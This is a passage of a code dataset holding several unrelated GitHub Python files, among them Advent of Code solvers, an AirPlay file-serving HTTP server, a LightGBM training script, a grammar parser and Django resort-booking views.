g[z+i][y+j][x+k] == '#':\n\t\t\t\t\tcnt += 1\n\n\tif curr == '#':\n\t\tif cnt in [2, 3]:\n\t\t\treturn curr\n\t\telse: \n\t\t\treturn '.'\n\telse:\n\t\tif cnt == 3:\n\t\t\treturn '#'\n\t\telse:\n\t\t\treturn curr\n\ndef do_cycle(g):\n\tng = copy.deepcopy(g)\n\tfor i in rl(g):\n\t\tif i == 0 or i == len(g) - 1:\n\t\t\tcontinue\n\t\tfor j in rl(g[0]):\n\t\t\tif j == 0 or j == len(g[0]) - 1:\n\t\t\t\tcontinue\n\t\t\tfor k in rl(g[0][0]):\n\t\t\t\tif k == 0 or k == len(g[0][0]) - 1:\n\t\t\t\t\tcontinue\n\t\t\t\tng[i][j][k] = get_pos(g, (i, j, k))\n\t\t\t\t# print(ng[i][j][k], g[i][j][k])\n\treturn ng\n\ndef part_1(data):\n\tdata = [list(i) for i in data]\n\tgrid = []\n\tfor i in range(20):\n\t\tplane = []\n\t\tfor j in range(50):\n\t\t\tif i == 10 and 25 <= j < 25 + len(data):\n\t\t\t\trow = ['.' for _ in range(25)] + data[j - 25][::] + ['.' for i in range(50 - 25 - len(data))]\n\t\t\telse:\n\t\t\t\trow = ['.' for _ in range(50)]\n\t\t\tplane.append(row[::])\n\t\tgrid.append(plane[::])\n\n\tfor cycle in range(6):\n\t\tgrid = do_cycle(grid)\n\n\tcnt = 0\n\tfor plane in grid:\n\t\tfor row in plane:\n\t\t\tfor item in row:\n\t\t\t\tif item == '#':\n\t\t\t\t\tcnt += 1\n\tprint(cnt)\n\tprint('END OF PART1')\n\treturn\n\ndef get_pos4(g, coord):\n\tw, z, y, x = coord\n\tcurr = g[w][z][y][x]\n\tcnt = 0\n\tfor i in range(-1, 2):\n\t\tfor j in range(-1, 2):\n\t\t\tfor k in range(-1, 2):\n\t\t\t\tfor l in range(-1, 2):\n\t\t\t\t\tif i == 0 and j == 0 and k == 0 and l == 0:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif g[w+i][z+j][y+k][x+l] == '#':\n\t\t\t\t\t\tcnt += 1\n\n\tif curr == '#':\n\t\tif cnt in [2, 3]:\n\t\t\treturn curr\n\t\telse: \n\t\t\treturn '.'\n\telse:\n\t\tif cnt == 3:\n\t\t\treturn '#'\n\t\telse:\n\t\t\treturn curr\n\ndef do_cycles4(g):\n\tng = copy.deepcopy(g)\n\tfor i in rl(g):\n\t\tif i == 0 or i == len(g) - 1:\n\t\t\tcontinue\n\t\tfor j in rl(g[0]):\n\t\t\tif j == 0 or j == len(g[0]) - 1:\n\t\t\t\tcontinue\n\t\t\tfor k in rl(g[0][0]):\n\t\t\t\tif k == 0 or k == len(g[0][0]) - 1:\n\t\t\t\t\tcontinue\n\t\t\t\tfor l in rl(g[0][0][0]):\n\t\t\t\t\tif l == 0 or l == len(g[0][0][0]) - 1:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tng[i][j][k][l] = get_pos4(g, (i, j, k, l))\n\treturn ng\n\ndef part_2(data):\n\tdata = [list(i) for i in data]\n\ths = []\n\tfor h in range(16):\n\t\tgrid = []\n\t\tfor i in range(30):\n\t\t\tplane = []\n\t\t\tfor j in range(60):\n\t\t\t\tif h == 8 and i == 15 and 30 <= j < 30 + len(data):\n\t\t\t\t\trow = ['.' for _ in range(30)] + data[j - 30][::] + ['.' for i in range(60 - 30 - len(data))]\n\t\t\t\telse:\n\t\t\t\t\trow = ['.' for _ in range(60)]\n\t\t\t\tplane.append(copy.deepcopy(row))\n\t\t\tgrid.append(copy.deepcopy(plane))\n\t\ths.append(copy.deepcopy(grid))\n\n\tfor cycle in range(6):\n\t\tprint(cycle)\n\t\ths = do_cycles4(hs)\n\t\t# for i in hs[]:\n\t\t# \tdisp(i)\n\n\tcnt = 0\n\tfor grid in hs:\n\t\tfor plane in grid:\n\t\t\tfor row in plane:\n\t\t\t\tfor item in row:\n\t\t\t\t\tif item == '#':\n\t\t\t\t\t\tcnt += 1\n\tprint(cnt)\n\tprint('END OF PART2')\n\treturn \n\n\nif __name__ == '__main__':\n\twith open('17_input') as f:\n\t\tdata = f.read()\n\t\tdata = data.split('\\n')\n\t\t# data = list(map(int, data.split()))\n\n\n\tpart_1(copy.deepcopy(data))\n\t# dont uncomment this unless you want to waut for 5 minutes\n\t# run 2020/17_2.py instead\n\t# part_2(copy.deepcopy(data))\n\t","repo_name":"PiErr0r/aoc","sub_path":"2020/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38854805441","text":"import os\nimport posixpath\nimport socket\nimport sys\n\ntry:\n from BaseHTTPServer import BaseHTTPRequestHandler\nexcept ImportError:\n from http.server import BaseHTTPRequestHandler\n\ntry:\n import SocketServer\nexcept ImportError:\n import socketserver as SocketServer\n\ntry:\n from urllib import unquote\nexcept ImportError:\n from urllib.parse import unquote\n\nfrom .vendor import httpheader\n\n\n# Work around a bug in some versions of Python's SocketServer :(\n# http://bugs.python.org/issue14574\ndef finish_fix(self, *args, **kwargs): # pragma: no cover\n try:\n if not self.wfile.closed:\n self.wfile.flush()\n self.wfile.close()\n except socket.error:\n pass\n self.rfile.close()\n\nSocketServer.StreamRequestHandler.finish = finish_fix\n\n\nclass RangeHTTPServer(BaseHTTPRequestHandler):\n \"\"\"This is a simple HTTP server that can be used to serve content to AirPlay devices.\n\n It supports *single* Range requests which is all (it seems) is required.\n \"\"\"\n @classmethod\n def start(cls, filename, allowed_host=None, queue=None):\n \"\"\"Start a SocketServer.TCPServer using this class to handle requests\n\n Args:\n filename(str): An absolute path to a single file to server\n Access will only be granted to this file\n\n allowed_host(str, optional): If provided, only this host will\n be allowed to access the server\n\n queue(Queue.Queue, optional): If provided, the host/port the server\n binds to will be put() into this queue\n\n \"\"\"\n os.chdir(os.path.dirname(filename))\n\n httpd = SocketServer.TCPServer(('', 0), cls)\n httpd.allowed_filename = os.path.realpath(filename)\n httpd.allowed_host = allowed_host\n\n if queue:\n queue.put(httpd.server_address)\n\n # BaseHTTPServer likes to log requests to stderr/out\n # drop all that nose\n with open('/dev/null', 'w') as fh:\n sys.stdout = sys.stderr = fh\n try:\n httpd.serve_forever()\n except: # NOQA\n pass\n\n def handle(self): # pragma: no cover\n \"\"\"Handle requests.\n\n We override this because we need to work around a bug in some\n versions of Python's SocketServer :(\n\n See http://bugs.python.org/issue14574\n \"\"\"\n\n self.close_connection = 1\n\n try:\n self.handle_one_request()\n except socket.error as exc:\n if exc.errno == 32:\n pass\n\n def do_HEAD(self):\n \"\"\"Handle a HEAD request\"\"\"\n try:\n path, stats = self.check_path(self.path)\n except ValueError:\n return\n\n self.send_response(200)\n self.send_header(\"Accept-Ranges\", \"bytes\")\n self.send_header(\"Content-Length\", stats.st_size)\n self.end_headers()\n\n def do_GET(self):\n \"\"\"Handle a GET request with some support for the Range header\"\"\"\n try:\n path, stats = self.check_path(self.path)\n except ValueError:\n return\n\n # assume we are sending the whole file first\n ranges = None\n first = 0\n last = stats.st_size\n\n # but see if a Range: header tell us differently\n try:\n ranges = httpheader.parse_range_header(self.headers.get('range', ''))\n ranges.fix_to_size(stats.st_size)\n ranges.coalesce()\n\n if not ranges.is_single_range():\n self.send_error(400, \"Multiple ranges not supported :(\")\n return\n\n first = ranges.range_specs[0].first\n last = ranges.range_specs[0].last + 1\n except httpheader.ParseError:\n pass\n except httpheader.RangeUnsatisfiableError:\n self.send_error(416, \"Requested range not possible\")\n return\n except ValueError:\n # this can get raised if the Range request is weird like bytes=2-1\n # not sure why this doesn't raise as a ParseError, but whatevs\n self.send_error(400, \"Bad Request\")\n return\n\n try:\n with open(path, 'rb') as fh:\n if ranges is None:\n self.send_response(200)\n else:\n self.send_response(206)\n self.send_header(\n \"Content-Range\",\n 'bytes ' + str(first) + '-' + str(last - 1) + '/' + str(stats.st_size)\n )\n\n self.send_header(\"Accept-Ranges\", \"bytes\")\n self.send_header(\"Content-Length\", last - first)\n self.end_headers()\n\n # send the chunk they asked for\n # possibly the whole thing!\n buffer_size = 8192\n\n fh.seek(first, 0)\n while buffer_size > 0:\n\n if first + buffer_size > last:\n buffer_size = last - first\n try:\n self.wfile.write(fh.read(buffer_size))\n except socket.error:\n break\n\n first = first + buffer_size\n except EnvironmentError:\n self.send_error(500, \"Internal Server Error\")\n return\n\n def check_path(self, path):\n \"\"\"Verify that the client and server are allowed to access `path`\n\n Args:\n path(str): The path from an HTTP rqeuest, it will be joined to os.getcwd()\n\n Returns:\n (str, stats): An abosolute path to the file on disk, and the result of os.stat()\n\n Raises:\n ValueError: The path could not be accessed (exception will say why)\n \"\"\"\n\n # get full path to file requested\n path = posixpath.normpath(unquote(path))\n path = os.path.join(os.getcwd(), path.lstrip('/'))\n\n # if we have an allowed host, then only allow access from it\n if self.server.allowed_host and self.client_address[0] != self.server.allowed_host:\n self.send_error(400, \"Bad Request\")\n raise ValueError('Client is not allowed')\n\n # don't do directory indexing\n if os.path.isdir(path):\n self.send_error(400, \"Bad Request\")\n raise ValueError(\"Requested path is a directory\")\n\n # if they try to request something else, don't serve it\n if path != self.server.allowed_filename:\n self.send_error(400, \"Bad Request\")\n raise ValueError(\"Requested path was not in the allowed list\")\n\n # make sure we can stat and open the file\n try:\n stats = os.stat(path)\n fh = open(path, 'rb')\n except (EnvironmentError) as exc:\n self.send_error(500, \"Internal Server Error\")\n raise ValueError(\"Unable to access the path: {0}\".format(exc))\n finally:\n try:\n fh.close()\n except NameError:\n pass\n\n return path, stats\n","repo_name":"cnelson/python-airplay","sub_path":"airplay/http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":7093,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"61"} +{"seq_id":"70145915075","text":"\"\"\"The module realizes LightGBM model hyperparameter tuning\"\"\"\nimport os\nimport shutil\nimport glob\nimport json\nimport warnings\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.model_selection import KFold\nfrom sklearn.exceptions import ConvergenceWarning\n\nfrom helpers import (\n load_config,\n get_dt_str,\n seed_everything,\n NpEncoder,\n)\nfrom logger import logger\nfrom features import get_book_features\nfrom lgbm.helpers import kfold\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nwarnings.filterwarnings(\"ignore\", category=ConvergenceWarning)\n\n# Load configs\nCONFIG_KFOLD = \"lgbm/config_lgbm_kfold.yml\"\nCONFIG_FILE = \"config.yml\"\nCONFIG_FILE_LGBM = \"config_lgbm.yml\"\n\nconfig = load_config(CONFIG_KFOLD)\n\nPARAMS_FODLER = config[\"KFOLD\"][\"params_folder\"]\nPARAMS_FILE = os.path.join(PARAMS_FODLER, \"params_optimal.json\")\n\nconfig.update(load_config(os.path.join(PARAMS_FODLER, CONFIG_FILE)))\nconfig.update(load_config(os.path.join(PARAMS_FODLER, CONFIG_FILE_LGBM)))\n\nmodel_folder = os.path.join(\n config[\"MODEL_PATH\"], \"lgbm_kfold\" + \"_\" + get_dt_str()\n)\n\nos.mkdir(model_folder)\nshutil.copy2(r\"lgbm/kfold.py\", model_folder)\nshutil.copy2(os.path.join(PARAMS_FODLER, CONFIG_FILE), model_folder)\nshutil.copy2(PARAMS_FILE, model_folder)\nshutil.copy2(CONFIG_KFOLD, model_folder)\n\nseed_everything(config[\"SEED\"])\n\n\n# model params to provide into CV method\nFIT_PARAMS_CV = {\n \"learning_rate\": config[\"learning\"][\"LEARNING_RATE\"],\n \"random_state\": config[\"SEED\"],\n \"objective\": \"regression\",\n \"boosting\": config[\"learning\"][\"boosting\"],\n \"metric\": config[\"learning\"][\"LEARN_METRICS_STRING\"],\n \"device\": config[\"DEVICE\"],\n \"gpu_platform_id\": 0,\n \"gpu_device_id\": 0,\n \"n_jobs\": config[\"learning\"][\"N_JOBS\"],\n \"num_boost_round\": config[\"learning\"][\"N_ROUNDS\"],\n}\n\n\n# Dataset\nlogger.info(\"Building dataset\")\n\ndataset = pd.merge(\n pd.read_parquet(os.path.join(config[\"DATAPATH\"], \"trade_train.parquet\")),\n pd.read_csv(os.path.join(config[\"DATAPATH\"], \"train.csv\")),\n how=\"inner\",\n on=[\"stock_id\", \"time_id\"],\n)\n\nfiles = glob.glob(\"data/book_train.parquet/*\")\n\ndataset_new = get_book_features(files)\n\ndataset_new = pd.merge(\n dataset_new,\n dataset[[\"time_id\", \"stock_id\", \"target\"]],\n how=\"inner\",\n on=[\"time_id\", \"stock_id\"],\n)\n\nfeatures = [\"vol\", \"vol2\"]\n\nX_train = dataset_new[features]\nY_train = dataset_new[\"target\"]\n\ndel dataset\ndel dataset_new\n\nif __name__ == \"__main__\":\n\n logger.info(\"Script starts properly\")\n\n KFOLDER = KFold(\n n_splits=config[\"KFOLD\"][\"n_splits\"],\n shuffle=True,\n random_state=config[\"SEED\"],\n )\n # Hyperparameters tunings\n logger.info(\"Training models\")\n\n with open(PARAMS_FILE, \"r\") as f:\n params = json.load(f)\n\n artifacts = kfold(\n params=params,\n X=X_train,\n Y=Y_train,\n kfolder=KFOLDER,\n fit_params=FIT_PARAMS_CV,\n )\n\n cvs = [x[\"metrics\"] for x in artifacts]\n\n metrics = {\n \"mean\": np.median(cvs),\n \"median\": np.median(cvs),\n \"std\": np.std(cvs),\n \"all\": cvs,\n }\n\n # Saving results\n logger.info(\"Saving results\")\n\n logger.info(\"Saving models\")\n for i, d in enumerate(artifacts):\n d[\"model\"].save_model(os.path.join(model_folder, f\"model_{i}.txt\"))\n\n logger.info(\"Saving metrics\")\n with open(os.path.join(model_folder, \"metrics.json\"), \"w\") as f:\n json.dump(metrics, f, cls=NpEncoder)\n","repo_name":"fortis3000/vol-optiver","sub_path":"lgbm/kfold.py","file_name":"kfold.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24313224896","text":"##代码作用与'返回整体xlsx数据.py'代码一致\n#有序字典\nfrom collections import OrderedDict\n#读取数据\nfrom pyexcel_xls import get_data\n\ndef readXlsAndXlsxFile(path):\n dic = OrderedDict()\n\n #抓取数据\n xdata = get_data(path) #获取到整体数据\n for sheet in xdata:\n dic[sheet] = xdata[sheet]\n return dic\npath = ''\ndic = readXlsAndXlsxFile(path)\nprint(dic)\nprint(len(dic))","repo_name":"HailongZeng/mypython_learning","sub_path":"17、实际操作/作业/excel自动化办公/返回xls和xlsx文件内容.py","file_name":"返回xls和xlsx文件内容.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34232390202","text":"from stable_baselines3 import A2C # Import the A2C algorithm\nfrom stable_baselines3 import PPO # Import the PPO algorithm\nfrom stable_baselines3.common.vec_env import DummyVecEnv, SubprocVecEnv\nimport GridWorldEnv\nimport gymnasium\n\n\nvec_env = DummyVecEnv([lambda: gymnasium.make(\"GridWorld-v0\", size=50, num_agents=8, render_mode=\"human\")])\n# Parallel environments\nmodel = PPO.load(\"GridWorldModelSomethingUseful\")\n\nnum_episodes = 50\nfor episode in range(num_episodes):\n obs = vec_env.reset()\n done = False\n total_reward = 0\n\n while not done:\n # Use the loaded model to select an action\n action, _ = model.predict(obs, deterministic=True)\n\n # Take the action in the environment\n obs, reward, done, _ = vec_env.step(action)\n\n # Accumulate the reward\n total_reward += reward\n print(reward)\n\n print(f\"Episode {episode + 1}: Total Reward: {total_reward}\")","repo_name":"treydcrowther/RL-MultiAgentExploration","sub_path":"TestTrainedModel.py","file_name":"TestTrainedModel.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28896374330","text":"from django.http import HttpResponse\nfrom django.template import loader\nfrom SKLibPY.FileSystem.FileSystem import SKFileSystem\n\n# Create your views here.\n\nfrom monitor.models import FSList\n\n\ndef index(request):\n return HttpResponse(\"Hello, this is monitoring apps index\")\n\n\ndef machine(request):\n latest_machine_list = FSList.objects.order_by('sno')[:5]\n template = loader.get_template('machine.html')\n\n system_usage1 = SKFileSystem().checkFSUsageLocal(\"/\")\n # system_usage = \" 4 \"\n context = {\n 'latest_machine_list': latest_machine_list,\n 'system_usage': system_usage1\n }\n return HttpResponse(template.render(context, request))\n\n\ndef machinedetails(request, sno):\n return HttpResponse(\"You are looking for machine : \" + str(sno))\n\n\ndef dashboard(request):\n title = \"Monitoring Dashboard\"\n latest_machine_list = FSList.objects.order_by('sno')[:5]\n template = loader.get_template('dashboard.html')\n context = {\n 'title': title,\n 'latest_machine_list': latest_machine_list,\n }\n return HttpResponse(template.render(context, request))\n","repo_name":"shkumargithub/SKMonitor","sub_path":"monitor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71409701315","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\nimport io\nimport os\nimport sys\nimport logging\ntry:\n import StringIO\nexcept ImportError:\n pass\n\ntry:\n from airflow.utils.log.logging_mixin import LoggingMixin\nexcept ImportError:\n raise Exception(\n \"Couldn't find Airflow. Are you sure it's installed?\"\n )\n\nimport lib2to3.pgen2.driver\n\n\nclass FetchPrints(object):\n \"\"\"\n Fetch printed value into a string.\n \"\"\"\n def __enter__(self):\n self._original_stdout = sys.stdout\n try:\n sys.stdout = buffer = StringIO.StringIO()\n except Exception:\n sys.stdout = buffer = io.StringIO()\n return buffer\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n sys.stdout = self._original_stdout\n\n\nclass SuppressPrints(object):\n \"\"\"\n The class is a context manager class that could suppress any\n prints that being called within the block. This functionality\n is needed when there is third-party logging nor prints that\n obscuring actual log.\n \"\"\"\n def __enter__(self):\n self._original_stdout = sys.stdout\n sys.stdout = open(os.devnull, 'w')\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n sys.stdout.close()\n sys.stdout = self._original_stdout\n\n\nclass Logged(object):\n \"\"\"\n Base class that give ability for other classes to do logging\n by simple call `self.log` and make the logger consistent across\n project.\n \"\"\"\n def __init__(self):\n self.log = logging.getLogger(str(__name__).split('.')[0])\n\n\nclass Lib2to3Logging(object):\n \"\"\"\n Helper class to override the lib2to3 logger\n \"\"\"\n def getLogger(self):\n return logging.getLogger('lib2to3')\n\n\n# Overriding lib2to3 logger\nlib2to3.pgen2.driver.logging = Lib2to3Logging()\n\n# Suppress lib2to3 log to only shows when there is an `ERROR`\nlogging.getLogger('lib2to3').setLevel(logging.ERROR)\n\n# Supress Airflow log to only shows when there is an `ERROR`\nLoggingMixin().log.setLevel(logging.ERROR)\n","repo_name":"feryandi/freeflow","sub_path":"freeflow/core/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36763338447","text":"import statistics\nfrom collections import Counter\n\ndef print_count(countValue):\n # Use a breakpoint in the code line below to debug your script.\n print(f'Total Count: {countValue}') # Press Ctrl+F8 to toggle the breakpoint.\n\ndef split(word):\n return [int(char) for char in word]\n\ndef IsValidIndex( listToCheck:list, index):\n if 0 <= index < len(listToCheck):\n return True\n return False\n\ndef GetCharacterCount(char, wordList):\n charCount = 0\n for word in wordList:\n count = Counter(word)\n if count[char] > 0:\n charCount += 1\n return charCount\n\ndef IsLowPoint(rowIndex, colIndex, dataTable):\n pointToTest = dataTable[rowIndex][colIndex]\n dataRow = dataTable[rowIndex]\n leftColIndex = colIndex - 1\n rightColIndex = colIndex + 1\n if IsValidIndex(dataRow, leftColIndex):\n if pointToTest >= dataRow[leftColIndex]:\n return False\n if IsValidIndex(dataRow, rightColIndex):\n if pointToTest >= dataRow[rightColIndex]:\n return False\n northRowIndex = rowIndex + 1\n southRowIndex = rowIndex - 1\n if IsValidIndex(dataTable, northRowIndex):\n if pointToTest >= dataTable[northRowIndex][colIndex]:\n return False\n if IsValidIndex(dataTable, southRowIndex):\n if pointToTest >= dataTable[southRowIndex][colIndex]:\n return False\n return True\n\ndef GetRiskLevelForPoint(rowIndex, colIndex, dataTable):\n return 1 + dataTable[rowIndex][colIndex]\n\ndef GetBasinSize(rowIndex, colIndex, dataTable, isVisitedSet):\n currentTuple = (rowIndex,colIndex)\n if currentTuple in isVisitedSet:\n return 0\n isVisitedSet.add(currentTuple)\n\n lowPointVal = dataTable[rowIndex][colIndex]\n northRowIndex = rowIndex + 1\n southRowIndex = rowIndex - 1\n leftColIndex = colIndex - 1\n rightColIndex = colIndex + 1\n\n basinSize = 0\n\n if IsValidIndex(dataTable, northRowIndex):\n northVal = dataTable[northRowIndex][colIndex]\n if northVal >= lowPointVal and northVal != 9:\n basinSize += GetBasinSize(northRowIndex, colIndex, dataTable, isVisitedSet)\n if IsValidIndex(dataTable, southRowIndex):\n southVal = dataTable[southRowIndex][colIndex]\n if southVal >= lowPointVal and southVal != 9:\n basinSize += GetBasinSize(southRowIndex, colIndex, dataTable, isVisitedSet)\n if IsValidIndex(dataTable[rowIndex], leftColIndex):\n leftVal = dataTable[rowIndex][leftColIndex]\n if leftVal >= lowPointVal and leftVal != 9:\n basinSize += GetBasinSize(rowIndex, leftColIndex, dataTable, isVisitedSet)\n if IsValidIndex(dataTable[rowIndex], rightColIndex):\n rightVal = dataTable[rowIndex][rightColIndex]\n if rightVal >= lowPointVal and rightVal != 9:\n basinSize += GetBasinSize(rowIndex, rightColIndex, dataTable, isVisitedSet)\n\n return 1 + basinSize\n\ndef SolveDayPartA(filepath):\n with open(filepath, \"r\") as openedFile:\n fileData = openedFile.readlines()\n\n dataTable = []\n for fileLine in fileData:\n dataRow = split(fileLine.strip())\n dataTable.append(dataRow.copy())\n\n riskLevelSum = 0\n\n for rowIndex in range(0,len(dataTable)):\n for colIndex in range(0, len(dataTable[rowIndex])):\n if IsLowPoint(rowIndex, colIndex, dataTable):\n riskLevelSum += GetRiskLevelForPoint(rowIndex, colIndex, dataTable)\n\n return riskLevelSum\n\ndef SolveDayPartB(filepath):\n with open(filepath, \"r\") as openedFile:\n fileData = openedFile.readlines()\n\n dataTable = []\n for fileLine in fileData:\n dataRow = split(fileLine.strip())\n dataTable.append(dataRow.copy())\n\n basinSizes = []\n isVisitedSet = set()\n for rowIndex in range(0,len(dataTable)):\n for colIndex in range(0, len(dataTable[rowIndex])):\n if IsLowPoint(rowIndex, colIndex, dataTable):\n basinSizes.append(GetBasinSize(rowIndex, colIndex, dataTable, isVisitedSet))\n\n basinSizes.sort()\n lastIndex = len(basinSizes) - 1\n return basinSizes[lastIndex] * basinSizes[lastIndex - 1] * basinSizes[lastIndex - 2]\n\nfilePath = \"C:\\\\dev\\\\AdventOfCode\\\\Input\\\\Day9.txt\"\nprint_count(SolveDayPartA(filePath))\nprint_count(SolveDayPartB(filePath))\n\n","repo_name":"JSarasua/AdventOfCode2021","sub_path":"Source/Day9.py","file_name":"Day9.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3739174156","text":"from django.shortcuts import render\nfrom django.db.models import Max\n\n# Create your views here.\nimport random\nfrom .models import KinoAfisha, Serials, Netflix\n\nclass Conclusion():\n def __init__(self):\n self.table_name = ''\n self.count =''\n\n def change_const(self):\n self.table_name = 'film'\n self.count = ''\n\n # def init_random_value(self):\n # self.change_const()\n # if self.table_name == 'film':\n # self.all_result = KinoAfisha.objects.all()\n # elif self.table_name == 'netflix':\n # self.all_result = Netflix.objects.all()\n # elif self.table_name == 'serials':\n # self.all_result = Serials.objects.all()\n # self.max = self.all_result.last().id\n # self.filmsID = []\n # for self.n in range(5):\n # self.n = random.randint(0, self.max)\n # self.filmsID.append(self.n)\n # return self.filmsID\n\n def output(self):\n self.change_const()\n if self.table_name == 'film':\n self.all_result = KinoAfisha.objects.all()\n elif self.table_name == 'netflix':\n self.all_result = Netflix.objects.all()\n elif self.table_name == 'serials':\n self.all_result = Serials.objects.all()\n self.max = self.all_result.last().id\n self.b = []\n for self.i in range(5):\n self.n = random.randint(0, self.max)\n self.content = (\n f'🗓 <b>Title:</b> {self.all_result.filter(pk=self.n).first().title} 🗓\\n'\n f'🪐 <b>Description:</b> {self.all_result.filter(pk=self.n).first().description} 🪐\\n'\n f'👾 <b>Producer:</b> {self.all_result.filter(pk=self.n).first().producer} 👾\\n'\n f'📽 <b>Link:</b> {self.all_result.filter(pk=self.n).first().link} 📽\\n')\n return self.content","repo_name":"Kabirov7/my-first-bot","sub_path":"tga/ugc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39314628725","text":"#!/usr/bin/env python3\n\nfrom Process import *\nimport re\nfrom lark import Lark, Transformer, v_args, Tree, UnexpectedInput\nimport argparse\nimport traceback\nimport logging\nimport copy\nfrom config import *\n\ntry:\n input = raw_input # For Python2 compatibility\nexcept NameError:\n pass\n\ncalc_grammar = r\"\"\"\n ?start: (initial_resources _LI)+ rules _LI (rules _LI|_LI)+\n\n ?initial_resources: elem -> initial_resources\n ?elem: MWORD \":\" NUMBER -> elem\n ?liste: elem \";\" | elem\n ?output: \"(\" liste+ \"):\" | \":\"\n ?input: \"(\" liste+ \"):\" | \":\"\n ?rules: MWORD \":\" input output NUMBER -> set_rules\n\n ?goal: MWORD| MWORD \";\"\n ?optimize: \"optimize:(\" goal+ \")\" ->set_goal\n\n _LI: (_COMMENT | LF+)\n _COMMENT: /#.*\\n/\n MWORD: /([a-zA-Z0-9_])/+\n\n NUMBER: SIGNED_NUMBER\n %import common.UCASE_LETTER\n %import common.SIGNED_NUMBER\n %import common.WORD\n %import common.LF\n %ignore _COMMENT\n\"\"\"\n\nclass trans(Transformer):\n def initial_resources(self, args):\n if args:\n stock[str(args[0][0])] = int(args[0][1])\n\n def elem(self, args):\n return (str(args[0]), int(args[1]))\n\n def output(self, args):\n return args\n\n def input(self, args):\n return args\n\n def set_rules(self, args):\n process = Process()\n process.time = int(args[3])\n\n if (isinstance(args[1], list)):\n process.input = {key:value for (key, value) in args[1]}\n else:\n process.input = {args[1][0]: args[1][1]}\n\n if args[2]:\n if (isinstance(args[2], list)):\n process.output = {key:value for (key, value) in args[2]}\n else:\n process.output = {args[2][0]: args[2][1]}\n\n if args[2] and str(args[2][0]) not in config.possible_stock:\n config.possible_stock.append(str(args[2][0]))\n if str(args[1][0]) not in config.possible_stock:\n config.possible_stock.append(str(args[1][0]))\n process.name = str(args[0])\n processes[str(args[0])] = process\n # print(str(args[0]), process)\n\ndef parse(name_file):\n calc_parser = Lark(calc_grammar, parser='lalr', debug=True, transformer=trans())\n with open(name_file, 'r') as myfile:\n file_content=myfile.read()\n opt = re.search('optimize:\\((.*)\\)', re.sub('#.*', '', file_content), re.IGNORECASE)\n if not opt:\n exit(\"nothing to optimize\")\n config.optimize = opt.group(1).split(';')\n config.opt_len = len(config.optimize) - 1 if 'time' in config.optimize else len(config.optimize)\n file_content = re.sub('optimize:(.*)', '', file_content)\n\n try:\n tree = calc_parser.parse(file_content)\n except UnexpectedInput as e:\n print(e)\n return (config.optimize)\n","repo_name":"ygarrot/KrpSim","sub_path":"source/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18459499761","text":"import datetime\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.http.response import HttpResponse\nfrom django.core.validators import ValidationError\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.db.models import Q\nfrom django.shortcuts import render \nfrom django.template import RequestContext\nfrom django.contrib import messages\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.core.mail import send_mail\nfrom django.views.generic import TemplateView,CreateView,DetailView\nfrom .models import Customer\nfrom .models import Package_detail\nfrom .models import Booking\nfrom .models import Employee\nfrom .models import Activity\nfrom .models import Enquiry\nfrom .models import Food\nfrom .models import CustomerReview\nfrom .models import Purchase_detail\nfrom resortnew.settings import EMAIL_HOST_USER\nfrom .forms import (UserForm,EnquiryCreate,BookingCreate,CustomerForm,ReviewCreate)\nfrom django.http import HttpResponse\ndef index(request): \n activities=Activity.objects.all()\n foods=Food.objects.all()\n enquiry_form = EnquiryCreate(request.POST or None)\n if enquiry_form.is_valid():\n cname=request.POST.get('name')\n recepient=request.POST.get('email')\n enquiry_form.save()\n subject = 'Maldorkar Resort - Enquiry Notification'\n message = 'Hello '+cname+', we have recived your Enquiry,we will get back you shortly'\n send_mail(subject,message, EMAIL_HOST_USER, [recepient], fail_silently = False)\n return redirect('index')\n else:\n print(\"Error\") \n return render(request, 'resortapp/index.html', {'activities': activities,'foods':foods,'enquiry_form':enquiry_form})\ndef my_profile(request):\n user=request.user\n try:\n user_type=\"customer\"\n CustomerUser=Customer.objects.get(user_id=user.id)\n EmployeeUser=None\n except Customer.DoesNotExist:\n user_type=\"employee\"\n CustomerUser=None\n EmployeeUser=Employee.objects.get(user_id=user.id)\n\n return render(request, 'resortapp/my_profile.html', {'user':user,'employee':EmployeeUser,'user_type':user_type,'customer':CustomerUser})\ndef view_enquiries(request): \n enquiries=Enquiry.objects.filter(enquiry_status='pending')\n return render(request, 'resortapp/all_enquiries.html', {'enquiries':enquiries})\n\ndef view_bookings(request): \n 